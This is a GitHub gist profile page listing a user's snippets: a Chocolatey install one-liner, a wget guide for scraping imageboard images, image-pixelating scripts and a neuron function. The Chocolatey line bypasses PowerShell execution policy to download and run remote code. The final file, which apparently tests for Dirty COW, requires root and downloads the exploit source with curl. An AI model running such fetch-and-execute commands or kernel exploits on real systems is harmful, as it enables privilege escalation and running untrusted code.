Skip to content

Instantly share code, notes, and snippets.


Himanshu Sharma himanshuxd

  • Middle Earth
Block or report user

Report or block himanshuxd

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
himanshuxd / bp
Last active Jan 21, 2020
battery percentage
himanshuxd /
Created Jan 1, 2020
command line gist creation test
himanshuxd / chocoinstall.bat
Created Dec 11, 2019
Single line Chocolately (Windows package manager install) use elevated admin cmd
View chocoinstall.bat
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString(''))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
himanshuxd /
Created Dec 1, 2019 — forked from tayfie/
how to scrape images from 4chan using wget

How To Scrape Images from 4chan Using Wget

This guide is to save other sorry plebs from needing to RTFM in figuring out how to use wget to scrape images from 4chan and other imageboards. There are lots of image downloaders in existence, but they are usually outdated and broken. You will save time following this guide to learn how to use a powerful and general purpose tool instead.

What Is Wget?

Wget is a command-line file downloader that can handle just about any file downloading task normal and power users will ever need to do. It has versions available for Windows, Mac, and Linux. If it is not already installed on your machine, install it now.

Basic syntax

himanshuxd /
Created Oct 27, 2019 — forked from scottrogowski/
Pixelate image in python
#!/usr/bin/env python
# This script will pixelate most jpg and png images
# It will both show you the result and save it
import sys
import matplotlib.pyplot as plt
import numpy as np
import PIL.Image as Image
himanshuxd /
Created Oct 27, 2019 — forked from danyshaanan/
A Python script to pixelate an image and add a thin black margin between the simulated pixels.
from PIL import Image
backgroundColor = (0,)*3
pixelSize = 9
image ='input.png')
image = image.resize((image.size[0]/pixelSize, image.size[1]/pixelSize), Image.NEAREST)
image = image.resize((image.size[0]*pixelSize, image.size[1]*pixelSize), Image.NEAREST)
pixel = image.load()
himanshuxd /
Created Feb 23, 2019
All the ML pip installs you need
py -m pip install opencv-python numpy scipy pandas matplotlib
himanshuxd /
Created Jan 19, 2019
Forward Propagating Single Neuron
class Neuron(object):
# ...
def forward(self, inputs):
""" assume inputs and weights are 1-D numpy arrays and bias is a number """
cell_body_sum = np.sum(inputs * self.weights) + self.bias
firing_rate = 1.0 / (1.0 + math.exp(-cell_body_sum)) # sigmoid activation function
return firing_rate
View Has weird right-to-left characters.txt
echo -e "\e[32mTesting for Dirty COW (CVE-2016-5195) vulnerability...\e[0m";
if [[ $EUID -ne 0 ]]; then
echo -e "\e[31mThis script must be run as root\e[0m"
# Download the exploit
curl -s > dirtyc0w.c
You can’t perform that action at this time.